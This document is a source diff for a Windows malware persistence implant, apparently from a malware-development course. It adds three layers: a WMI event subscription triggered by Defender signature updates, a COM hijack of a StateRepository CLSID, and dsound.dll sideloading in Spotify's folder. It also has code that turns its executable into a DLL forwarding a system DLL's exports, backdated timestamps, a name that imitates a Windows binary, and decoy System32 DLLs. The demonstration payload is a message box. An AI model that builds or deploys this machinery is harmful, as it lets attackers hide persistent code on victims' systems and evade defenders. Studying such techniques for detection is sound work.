DBG("[dbg] New Section | VA: 0x%08X | FileOffset: 0x%08X", dwSectionVA, dwSectionRaw);
*/
}
// ----------------------------------------------------------------------------------------------
// Compute blob-relative offsets for each sub-region of the export section.
//
// Blob layout (all offsets are relative to the start of the new section):
//
// [0x00] IMAGE_EXPORT_DIRECTORY (fixed size)
// [+sizeof(EXPDIR)] FuncRVAs[] (4 * dwNumFuncSlots — sparse, ordinal-indexed EAT)
// [+...] NameRVAs[] (4 * dwNumNames — RVAs into the name string pool)
// [+...] Ordinals[] (2 * dwNumNames — EONT, WORD-sized, DWORD-padded)
// [+...] DLL name string (null-terminated)
// [+...] Export name strings (one per named export, null-terminated)
// [+...] Forward strings (one per forwarded export, after all name strings)
// ----------------------------------------------------------------------------------------------
dwOffExpDir = 0x00;
dwOffFuncRVAs = dwOffExpDir + sizeof(IMAGE_EXPORT_DIRECTORY);
dwOffNameRVAs = dwOffFuncRVAs + dwNumFuncSlots * sizeof(DWORD);
dwOffOrdinals = dwOffNameRVAs + dwNumNames * sizeof(DWORD);
dwOffDllName = ALIGN_UP(dwOffOrdinals + dwNumNames * sizeof(WORD), sizeof(DWORD)); // pad to DWORD boundary before placing the DLL name
dwOffNames = dwOffDllName + (DWORD)lstrlenA(pszDllName) + 1;
// Walk the table once to accumulate the variable-length name and forward string sizes
dwBlobSize = dwOffNames;
for (DWORD i = 0; i < dwNumExports; i++)
{
if (pExportTable[i].pszName != NULL) dwBlobSize += (DWORD)lstrlenA(pExportTable[i].pszName) + 1;
if (pExportTable[i].pszForward != NULL) dwBlobSize += (DWORD)lstrlenA(pExportTable[i].pszForward) + 1;
}
// Allocate a new buffer large enough for the original file data plus the aligned export section
dwNewFileSize = dwSectionRaw + ALIGN_UP(dwBlobSize, dwFileAlign);
HEAP_ALLOC(uNewBuffer, dwNewFileSize);
if (!uNewBuffer) return FALSE;
RtlCopyMemory((PVOID)uNewBuffer, (PVOID)*puFileBuffer, *pdwFileSize);
HEAP_FREE(*puFileBuffer);
// Re-derive NT headers pointer after reallocation
pNtHdrs = (PIMAGE_NT_HEADERS)(uNewBuffer + ((PIMAGE_DOS_HEADER)uNewBuffer)->e_lfanew);
pBlob = (PBYTE)(uNewBuffer + dwSectionRaw);
// Fill IMAGE_EXPORT_DIRECTORY.
// All address fields are VAs relative to the section base (not file offsets)
pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBlob + dwOffExpDir);
pExportDir->Name = dwSectionVA + dwOffDllName;
pExportDir->Base = 0x01; // ordinals are 1-based
pExportDir->TimeDateStamp = dwTimeDateStamp;
pExportDir->NumberOfFunctions = dwNumFuncSlots;
pExportDir->NumberOfNames = dwNumNames;
pExportDir->AddressOfFunctions = dwSectionVA + dwOffFuncRVAs;
pExportDir->AddressOfNames = dwSectionVA + dwOffNameRVAs;
pExportDir->AddressOfNameOrdinals = dwSectionVA + dwOffOrdinals;
pdwFuncRVAs = (PDWORD)(pBlob + dwOffFuncRVAs);
pdwNameRVAs = (PDWORD)(pBlob + dwOffNameRVAs);
pwOrdinals = (PWORD )(pBlob + dwOffOrdinals);
RtlCopyMemory(pBlob + dwOffDllName, pszDllName, lstrlenA(pszDllName) + 1);
// Pre-compute where forward strings begin inside the blob
dwOffForwards = dwOffNames;
for (DWORD i = 0; i < dwNumExports; i++)
{
if (pExportTable[i].pszName != NULL) dwOffForwards += (DWORD)lstrlenA(pExportTable[i].pszName) + 1;
}
// Main Loop
for (DWORD i = 0; i < dwNumExports; i++)
{
PEXPORT_ENTRY pEntry = &pExportTable[i];
DWORD dwStrSize = 0x00;
if (pEntry->pszForward != NULL)
{
// For a forwarded export, the FuncRVA slot holds the VA of the forward string (not a function code RVA)
pdwFuncRVAs[pEntry->wOrdinal - pExportDir->Base] = dwSectionVA + dwOffForwards;
dwStrSize = (DWORD)lstrlenA(pEntry->pszForward) + 1;
RtlCopyMemory(pBlob + dwOffForwards, pEntry->pszForward, dwStrSize);
dwOffForwards += dwStrSize;
}
else
{
// For a real export, store the function's RVA relative to the module base
// NOTE:
// This branch is never executed in this project because we use this function with a table
// built by 'BuildExportTableFromDll', which produces only forwarded functions.
// For comparison, check out the commented 'g_ExampleExportTable' variable where we have all types of functions
pdwFuncRVAs[pEntry->wOrdinal - pExportDir->Base] = (DWORD)(pEntry->uFuncAddress - uModule);
}
if (pEntry->pszName != NULL)
{
// NameRVAs and Ordinals arrays are parallel
// pdwNameRVAs[k] is the RVA of the name string whose ordinal index is pwOrdinals[k].
// dwNameIdx links the two
pdwNameRVAs[dwNameIdx] = dwSectionVA + dwOffNames;
pwOrdinals[dwNameIdx] = (WORD)(pEntry->wOrdinal - pExportDir->Base);
dwNameIdx++;
dwStrSize = (DWORD)lstrlenA(pEntry->pszName) + 1;
RtlCopyMemory(pBlob + dwOffNames, pEntry->pszName, dwStrSize);
dwOffNames += dwStrSize;
if (pEntry->pszForward != NULL)
DBG("[+] Export[%u] | %-30s | Forward To: %-30s | Ordinal: %u", i, pEntry->pszName, pEntry->pszForward, pEntry->wOrdinal);
else
DBG("[+] Export[%u] | %-30s | RVA: 0x%08X | Ordinal: %u", i, pEntry->pszName, pdwFuncRVAs[pEntry->wOrdinal], pEntry->wOrdinal);
}
else
{
if (pEntry->pszForward != NULL)
DBG("[+] Export[%u] | <ordinal-only> | Forward To: %-30s | Ordinal: %u", i, pEntry->pszForward, pEntry->wOrdinal);
else
DBG("[+] Export[%u] | <ordinal-only> | RVA: 0x%08X | Ordinal: %u", i, pdwFuncRVAs[pEntry->wOrdinal], pEntry->wOrdinal);
}
}
// AddressOfNames must be sorted ascending (so that the PE loader's binary search logic work)
if (dwNumNames > 1)
{
for (DWORD i = 0; i < dwNumNames - 1; i++)
{
for (DWORD j = i + 1; j < dwNumNames; j++)
{
// Resolve both name RVAs back to their string pointers for comparison
LPCSTR pszA = (LPCSTR)(uNewBuffer + dwSectionRaw + (pdwNameRVAs[i] - dwSectionVA));
LPCSTR pszB = (LPCSTR)(uNewBuffer + dwSectionRaw + (pdwNameRVAs[j] - dwSectionVA));
if (lstrcmpA(pszA, pszB) > 0)
{
// Swap both the name RVA and its paired ordinal to keep the two arrays in sync
DWORD dwTmp = pdwNameRVAs[i];
pdwNameRVAs[i] = pdwNameRVAs[j];
pdwNameRVAs[j] = dwTmp;
WORD wTmp = pwOrdinals[i];
pwOrdinals[i] = pwOrdinals[j];
pwOrdinals[j] = wTmp;
}
}
}
}
// Append a new section header for the export blob (".edata")
pNewSection = IMAGE_FIRST_SECTION(pNtHdrs) + pNtHdrs->FileHeader.NumberOfSections;
RtlSecureZeroMemory(pNewSection, sizeof(IMAGE_SECTION_HEADER));
// Populate the new section's data
RtlCopyMemory(pNewSection->Name, EDATA_SECTION_NAME, sizeof(EDATA_SECTION_NAME) - 1);
pNewSection->Misc.VirtualSize = dwBlobSize; // actual data size
pNewSection->VirtualAddress = dwSectionVA;
pNewSection->SizeOfRawData = ALIGN_UP(dwBlobSize, dwFileAlign); // padded data size
pNewSection->PointerToRawData = dwSectionRaw;
pNewSection->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_INITIALIZED_DATA;
// Add the new section to the headers
pNtHdrs->FileHeader.NumberOfSections++;
pNtHdrs->FileHeader.TimeDateStamp = dwTimeDateStamp;
pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress = dwSectionVA;
pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size = dwBlobSize;
// SizeOfImage should be rounded up to SectionAlignment
pNtHdrs->OptionalHeader.SizeOfImage = dwSectionVA + ALIGN_UP(dwBlobSize, dwSectionAlign);
pNtHdrs->OptionalHeader.CheckSum = ComputePECheckSum((PVOID)uNewBuffer, dwNewFileSize);
DBG("[+] NT Headers Patched | SizeOfImage: 0x%08X | Export VA: 0x%08X | CheckSum: 0x%08X",
pNtHdrs->OptionalHeader.SizeOfImage, dwSectionVA, pNtHdrs->OptionalHeader.CheckSum);
*puFileBuffer = uNewBuffer;
*pdwFileSize = dwNewFileSize;
bResult = TRUE;
_END_OF_FUNC:
if (!bResult)
HEAP_FREE(uNewBuffer);
return bResult;
}
BOOL ConvertExecutableToDll(IN LPCSTR pszOriginalDllPath, IN LPCSTR pszCopiedDllName, IN ULONG_PTR uDllMain, OUT PBYTE* ppDllBuffer, OUT DWORD* pdwDllFileSize)
{
WCHAR wszExePath[MAX_PATH] = { 0 };
PBYTE pOriginalDllBuffer = NULL;
DWORD dwOriginalDllSize = 0x00;
PEXPORT_ENTRY pExportTable = NULL;
DWORD dwExportCount = 0x00;
DWORD dwDllMainRva = 0x00;
DWORD dwOriginalDllTimeStamp = 0x00;
ULONG_PTR uFileBuffer = 0x00;
HMODULE hCurrentModule = NULL;
DWORD dwFileSize = 0x00;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
LPWSTR pwszOriginalDllPath = NULL;
if (!ppDllBuffer || !pdwDllFileSize || !uDllMain || !pszOriginalDllPath || !pszCopiedDllName)
return FALSE;
*ppDllBuffer = NULL;
*pdwDllFileSize = 0x00;
hCurrentModule = GetModuleHandle(NULL);
// Calculate DllMain's RVA is to set as the DLL entry point after patching
dwDllMainRva = (DWORD)(uDllMain - (ULONG_PTR)hCurrentModule);
// Read self executable from disk
if (GetModuleFileNameW(hCurrentModule, wszExePath, MAX_PATH) == 0)
{
DBG_LAST_ERROR("GetModuleFileNameW");
goto _END_OF_FUNC;
}
if (!ReadFileFromDiskW(wszExePath, (PBYTE*)&uFileBuffer, &dwFileSize))
goto _END_OF_FUNC;
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uFileBuffer + ((PIMAGE_DOS_HEADER)uFileBuffer)->e_lfanew);
if (((PIMAGE_DOS_HEADER)uFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
{
DBG("[!] Invalid PE Headers");
goto _END_OF_FUNC;
}
// Flip the DLL characteristic bit and redirect the entry point to DllMain
pImgNtHdrs->FileHeader.Characteristics |= IMAGE_FILE_DLL;
pImgNtHdrs->OptionalHeader.AddressOfEntryPoint = dwDllMainRva;
pImgNtHdrs->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI;
// Read the original DLL. Required by GetDllTimestamp and BuildExportTableFromDll
if (!(pwszOriginalDllPath = (LPWSTR)ConvertString((LPVOID)pszOriginalDllPath, lstrlenA(pszOriginalDllPath), ENCODING_ANSI_TO_WIDE)))
goto _END_OF_FUNC;
if (!ReadFileFromDiskW(pwszOriginalDllPath, &pOriginalDllBuffer, &dwOriginalDllSize))
{
DBG("[!] Failed To Read Original DLL: %s", pszOriginalDllPath);
HEAP_FREE(pwszOriginalDllPath);
goto _END_OF_FUNC;
}
HEAP_FREE(pwszOriginalDllPath);
// Get a 30 days older timestamp than the original DLL or 60 days older than now
dwOriginalDllTimeStamp = GetDllTimestamp(pOriginalDllBuffer, dwOriginalDllSize);
// Build a forwarded export table that mirrors the original DLL's exports.
if (!BuildExportTableFromDll((ULONG_PTR)pOriginalDllBuffer, dwOriginalDllSize, pszCopiedDllName, &pExportTable, &dwExportCount))
{
DBG("[!] Failed To Build Export Table From: %s", pszOriginalDllPath);
goto _END_OF_FUNC;
}
// Linker always emits a 'coffgrp' debug entry regardless of debug settings.
// So we patch it to match the export table and nt headers
{
DWORD dwDbgDirRva = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
if (dwDbgDirRva)
{
PIMAGE_DEBUG_DIRECTORY pDebugDir = (PIMAGE_DEBUG_DIRECTORY)(uFileBuffer + RvaToFileOffset(pImgNtHdrs, dwDbgDirRva));
DWORD dwDbgCount = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size / sizeof(IMAGE_DEBUG_DIRECTORY);
for (DWORD i = 0; i < dwDbgCount; i++)
pDebugDir[i].TimeDateStamp = dwOriginalDllTimeStamp;
}
}
// Append a new ".edata" section to the PE buffer and populate it with the forwarded export directory built using BuildExportTableFromDll
if (!PatchExportAddressTable(&uFileBuffer, &dwFileSize, PathFindFileNameA(pszOriginalDllPath), pExportTable, dwExportCount, dwOriginalDllTimeStamp))
goto _END_OF_FUNC;
*ppDllBuffer = (PBYTE)uFileBuffer;
*pdwDllFileSize = dwFileSize;
_END_OF_FUNC:
HEAP_FREE(pOriginalDllBuffer);
HEAP_FREE(pExportTable);
if (!*ppDllBuffer)
HEAP_FREE(uFileBuffer);
return *ppDllBuffer ? TRUE : FALSE;
}
+26
View File
@@ -0,0 +1,26 @@
// If compiled in "Stripped" mode
#if !defined(_DEBUG) && !defined(NDEBUG)
#include <Windows.h>
#pragma function(memset)
void* memset(void* dst, int val, size_t size)
{
unsigned char* p = (unsigned char*)dst;
while (size--)
*p++ = (unsigned char)val;
return dst;
}
#pragma function(memcpy)
void* memcpy(void* dst, const void* src, size_t size)
{
unsigned char* d = (unsigned char*)dst;
const unsigned char* s = (const unsigned char*)src;
while (size--)
*d++ = *s++;
return dst;
}
#endif
+278
View File
@@ -0,0 +1,278 @@
#pragma once
#ifndef HEADERS_H
#define HEADERS_H
#include <Windows.h>
#include <wbemidl.h>
#include <WtsApi32.h>
#include <sddl.h>
#include <DebugMacros.h>
#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib, "Wbemuuid.lib")
#pragma comment(lib, "advapi32.lib")
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// TUNABLE CONSTANTS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// ==============================================================
// LAYER 1 - WMI PERSISTENCE
// Monitors a registry value change to trigger execution of our
// dropped executable via a WMI event subscription.
// ==============================================================
#define WMI_OBJECT_PREFIX L"MaldevAcademy"
#define WMI_TRIGGER_DELAY 30 // Seconds to wait before firing after the event is triggered
#define WMI_TRIGGER_REG_HIVE L"HKEY_LOCAL_MACHINE"
#define WMI_TRIGGER_REG_KEY L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates"
#define WMI_TRIGGER_REG_VALUE L"SignatureUpdateLastAttempted" // Timestamp that will change when windows defender does a signature update
#define WMI_EXE_INSTALLATION_DIR L"%SystemRoot%\\System32\\wbem" // Directory created to host our persisting executable
#define WMI_EXE_INSTALLATION_NAME L"SgrmBroker.exe"
// ==============================================================
// LAYER 2 - COM HIJACK
// Hijacks a COM object by creating a matching CLSID key under HKCU.
// HKCU is checked before HKLM, so our DLL gets loaded instead of the real one.
//
// The real HKLM registration (used to identify the system DLL to forward calls to) is:
// C:\Windows\System32\Windows.StateRepositoryPS.dll
//
// Fetched by calling:
// (Get-Item 'HKLM:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32').GetValue('')
//
// The hijacked key we create under HKCU is:
// HKCU\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\InProcServer32
// ==============================================================
#define COM_HIJACK_KEY L"Software\\Classes\\CLSID\\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}\\InProcServer32"
#define COM_THREADING_MODEL L"ThreadingModel"
#define COM_THREADING_VALUE L"Both"
#define COM_DLL_DIR L"%APPDATA%\\Microsoft\\Common" // Directory created to host our COM DLL
#define COM_PAYLOAD_DLL_NAME L"MsComHost.dll" // Our DLL. this is what the hijacked COM object will load
#define COM_FORWARD_DLL_NAME L"Common.StateRepositoryRM.dll" // Renamed copy of the original system DLL (Windows.StateRepositoryPS.dll), used to forward exported function calls
#define COM_SYSTEM_DLL_NAME L"Windows.StateRepositoryPS.dll" // The original system DLL under System32 that we copy and rename as Common.StateRepositoryRM.dll
// Real Ms*.dll files copied from System32 next to our payload (MsComHost.dll) to make the directory look legitimate
// Fetched by calling:
// (Get-ChildItem -Path "C:\Windows\System32" -Filter "Ms*.dll")
#define COM_DECOY_DLL_1 L"MsApoFxProxy.dll"
#define COM_DECOY_DLL_2 L"msvfw32.dll"
#define COM_DECOY_DLL_3 L"msfeeds.dll"
#define COM_DECOY_DLL_4 L"msprivs.dll"
#define COM_DECOY_DLL_5 L"msvcrt.dll"
#define COM_DECOY_DLL_6 L"MSVidCtl.dll"
#define COM_DECOY_DLLS_COUNT 6
#define GET_DLL(N) COM_DECOY_DLL_##N // Resolves to COM_DECOY_DLL_N at compile time
#define DLL_ENTRY(N) GET_DLL(N)
// ==============================================================
// LAYER 3 - DLL SIDELOADING
// Spotify loads dsound.dll from its own directory before System32.
// We place our DLL as dsound.dll, and drop the real dsound.dll
// (renamed to dspatial.dll) alongside it to forward function calls.
// ==============================================================
#define SIDELOAD_PAYLOAD_DLL L"dsound.dll" // Our payload DLL name — matches what Spotify loads
#define SIDELOAD_FORWARD_DLL L"dspatial.dll" // Renamed original dsound.dll from System32, used to forward exports
#define SIDELOAD_APP_DIR L"%APPDATA%\\Spotify" // Spotify's directory — vulnerable to local DLL sideloading
// ==============================================================
// PAYLOAD CONFIGURATION
// Registry key written during initial execution to signal the persisting WMI executable
// that the 2nd and 3rd persistence layers are already deployed,
// preventing redundant re-patching to dlls and re-installation.
// ==============================================================
#define CONFIG_REG_KEY L"Software\\" WMI_OBJECT_PREFIX L"\\XXXX"
#define CONFIG_REG_VALUE_NAME L"AppIdentifier"
#define CONFIG_REG_VALUE_DATA 0x4C4C554E
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// GENERAL CONSTANTS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#define BUFFER_SIZE_16 16
#define BUFFER_SIZE_32 32
#define BUFFER_SIZE_64 64
#define BUFFER_SIZE_128 128
#define BUFFER_SIZE_256 256
#define BUFFER_SIZE_512 512
#define BUFFER_SIZE_1024 1024
#define BUFFER_SIZE_2048 2048
#define BUFFER_SIZE_4096 4096
#define BUFFER_SIZE_8192 8192
#define FNV_OFFSET_BASIS 14695981039346656037ULL
#define FNV_PRIME 1099511628211ULL
#define FNV_MUL_HH 0x9E3779B97F4A7C15ULL
#define FNV_MUL_MM 0x6C62272E07BB0142ULL
#define FNV_MUL_SS 0xBF58476D1CE4E5B9ULL
#define MUTEX_NAME_FMT "Global\\%016I64X"
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// DATA DEFINITIONS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
typedef struct _EXPORT_ENTRY
{
LPCSTR pszName; // Export Function Name. If Set to NULL, Function is Exported vua Ordinal Only
ULONG_PTR uFuncAddress; // RVA of Function. If Set to NULL, The Function is Forwarded
WORD wOrdinal; // Ordinal Value. The Value 'INVALID_ORDINAL' Marks End Of Table
LPCSTR pszForward; // Forward String (e.g. "NTDLL.RtlAllocateHeap", "NTDLL.#1053"). If Set to NULL, Function is Exported By Name (pszName) or Ordinal (wOrdinal).
} EXPORT_ENTRY, *PEXPORT_ENTRY;
#define EDATA_SECTION_NAME ".edata"
#define INVALID_ORDINAL (WORD)(0xFFFFF)
#define ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1))
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// UTILITIES FUNCTIONS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
typedef enum _STRING_ENCODING
{
ENCODING_ANSI_TO_WIDE,
ENCODING_WIDE_TO_ANSI,
ENCODING_UTF8_TO_WIDE,
ENCODING_WIDE_TO_UTF8,
ENCODING_ANSI_TO_UTF8,
ENCODING_UTF8_TO_ANSI
} STRING_ENCODING;
#ifdef __cplusplus
extern "C" {
#endif
LPVOID ConvertString(IN LPVOID pvSrc, IN INT cbSrc, IN STRING_ENCODING Encoding);
BOOL ReadFileFromDiskW(IN LPCWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize);
BOOL WriteFileToDiskW(IN LPCWSTR pszFileName, IN CONST BYTE* pbDataBuffer, IN DWORD dwDataLength);
BOOL CloneFileTimestampsW(IN LPCWSTR pwszSrcPath, IN LPCWSTR pwszDstPath);
BOOL SetRegistryStringW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN LPCWSTR pwszValue, IN BOOL bOverwrite);
BOOL SetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwValue, IN BOOL bOverwrite);
BOOL GetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, OUT PDWORD pdwOutput);
BOOL DeleteRegistryKeyW(IN HKEY hRoot, IN LPCWSTR pwszPath);
BOOL GetSystem32PathW(IN LPCWSTR pwszFileName, OUT LPWSTR pwszOutPath, IN DWORD dwOutSize);
BOOL EnsureDirectoryExistsW(IN LPCWSTR pwszPath, IN BOOL bIsFilePath);
BOOL CopyFileToDirW(IN LPCWSTR pwszDestPath, IN OPTIONAL LPCWSTR pwszDestName, IN OPTIONAL LPCWSTR pwszSrcPath, IN LPCWSTR pwszSrcName, OUT OPTIONAL LPWSTR pwszOutFullPath, IN OPTIONAL DWORD dwOutFullPathSize);
#ifdef __cplusplus
}
#endif
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// PERSISTENCE FUNCTIONS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#ifdef __cplusplus
extern "C" {
#endif
BOOL ConvertExecutableToDll(IN LPCSTR pszOriginalDllPath, IN LPCSTR pszCopiedDllName, IN ULONG_PTR uDllMain, OUT PBYTE* ppDllBuffer, OUT DWORD* pdwDllFileSize);
BOOL VerifyOrCreateRegistryFlag(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwExpectedValue, OUT OPTIONAL BOOL* pbAlreadyExisted);
BOOL AcquirePayloadMutex(OUT HANDLE* phMutex);
VOID ReleasePayloadMutex(IN HANDLE hMutex);
BOOL DropExecutableForWmi();
BOOL InstallComHijack(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize);
BOOL DropSideloadDlls(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize);
#ifdef __cplusplus
}
#endif
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// MACROS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#ifdef __cplusplus
#define HEAP_ALLOC(ptr, size) \
do { \
(ptr) = (decltype(ptr))HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size)); \
if (!(ptr)) DBG_LAST_ERROR("HeapAlloc"); \
} while (0)
#define HEAP_REALLOC(ptr, size) \
do { \
LPVOID _pTmp = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (LPVOID)(ptr), (size)); \
if (!_pTmp) { DBG_LAST_ERROR("HeapReAlloc"); } \
else { (ptr) = (decltype(ptr))_pTmp; } \
} while (0)
#else //!__cplusplus
#define HEAP_ALLOC(ptr, size) \
do { \
(ptr) = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size)); \
if (!(ptr)) DBG_LAST_ERROR("HeapAlloc"); \
} while (0)
#define HEAP_REALLOC(ptr, size) \
do { \
LPVOID _pTmp = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (LPVOID)(ptr), (size)); \
if (!_pTmp) { DBG_LAST_ERROR("HeapReAlloc"); } \
else { (ptr) = _pTmp; } \
} while (0)
#endif // __cplusplus
#define BSTR_LITERAL(s) (BSTR)(s)
#define SAFE_FREE_BSTR(bstr) \
if (bstr) \
{ \
SysFreeString((BSTR)(bstr)); \
bstr = NULL; \
}
#define HEAP_FREE(ptr) \
do { \
if (ptr) { \
HeapFree(GetProcessHeap(), 0, (LPVOID)(ptr)); \
(ptr) = 0x00; \
} \
} while (0)
#define HEAP_SECURE_FREE(ptr, size) \
do { \
if (ptr) { \
SecureZeroMemory((PVOID)(ptr), (size)); \
HeapFree(GetProcessHeap(), 0, (LPVOID)(ptr)); \
(ptr) = 0x00; \
} \
} while (0)
#define CLOSE_HANDLE(handle) \
do { \
if ((handle) && (handle) != INVALID_HANDLE_VALUE) { \
CloseHandle((handle)); \
(handle) = NULL; \
} \
} while (0)
#endif // !HEADERS_H
+311
View File
@@ -0,0 +1,311 @@
#include "Headers.h"
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// GLOBAL VARIABLES
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// Pinned module handle set in DllMain.
// This is used by RunMessageBox ("Payload" Function) to identify the DLL name in the message
static HMODULE g_hPinnedModule = NULL;
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// HELPERS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
static LPCWSTR GetCurrentImageName(IN OPTIONAL HMODULE hModule)
{
static WCHAR szDllPath[MAX_PATH] = { 0 };
static WCHAR szProcPath[MAX_PATH] = { 0 };
WCHAR* szTarget = (hModule != NULL) ? szDllPath : szProcPath;
RtlSecureZeroMemory(szTarget, MAX_PATH * sizeof(WCHAR));
if (!GetModuleFileNameW(hModule, szTarget, MAX_PATH))
return L"<Unknown>";
return PathFindFileNameW(szTarget);
}
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// "Payload" Function
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
static DWORD RunMessageBox(IN LPVOID pIsDllPayloadFile)
{
WCHAR wszCaption[MAX_PATH] = { 0 };
WCHAR wszMessage[MAX_PATH] = { 0 };
DWORD dwSessionId = WTSGetActiveConsoleSessionId();
DWORD dwResponse = 0x00;
if (pIsDllPayloadFile)
{
if (wsprintfW(wszCaption, L"Injected Into: %ws", GetCurrentImageName(NULL)) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return 0x00;
}
if (wsprintfW(wszMessage, L"Hello from %ws! (%ld)", GetCurrentImageName(g_hPinnedModule), GetCurrentProcessId()) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return 0x00;
}
}
else
{
if (wsprintfW(wszCaption, L"Running As: %ws", GetCurrentImageName(NULL)) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return 0x00;
}
if (wsprintfW(wszMessage, L"Hello from %ws! (%ld)", GetCurrentImageName(NULL), GetCurrentProcessId()) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return 0x00;
}
}
WTSSendMessageW(
WTS_CURRENT_SERVER_HANDLE,
dwSessionId,
wszCaption, (DWORD)(lstrlenW(wszCaption) * sizeof(WCHAR)),
wszMessage, (DWORD)(lstrlenW(wszMessage) * sizeof(WCHAR)),
MB_OK | MB_ICONINFORMATION,
0,
&dwResponse,
TRUE
);
return 0x00;
}
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// DLL ENTRY POINT LOGIC
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
static DWORD WINAPI DllPayloadThread(IN LPVOID lpParameter)
{
// The module refcount bump taken in DllMain is intentionally never released here —
// dropping it would allow the COM host to unload us while still holding pointers
// to our forwarded exports, causing the next COM call to fault on unmapped memory.
// The kernel releases the refcount automatically when the process exits.
UNREFERENCED_PARAMETER(lpParameter);
static HANDLE hMutexHandle = NULL;
static BOOL bAlreadyRanInCurrentProcess = FALSE;
// if another process already owns the mutex, the payload is already running system-wide and we should not execute again
if (AcquirePayloadMutex(&hMutexHandle))
{
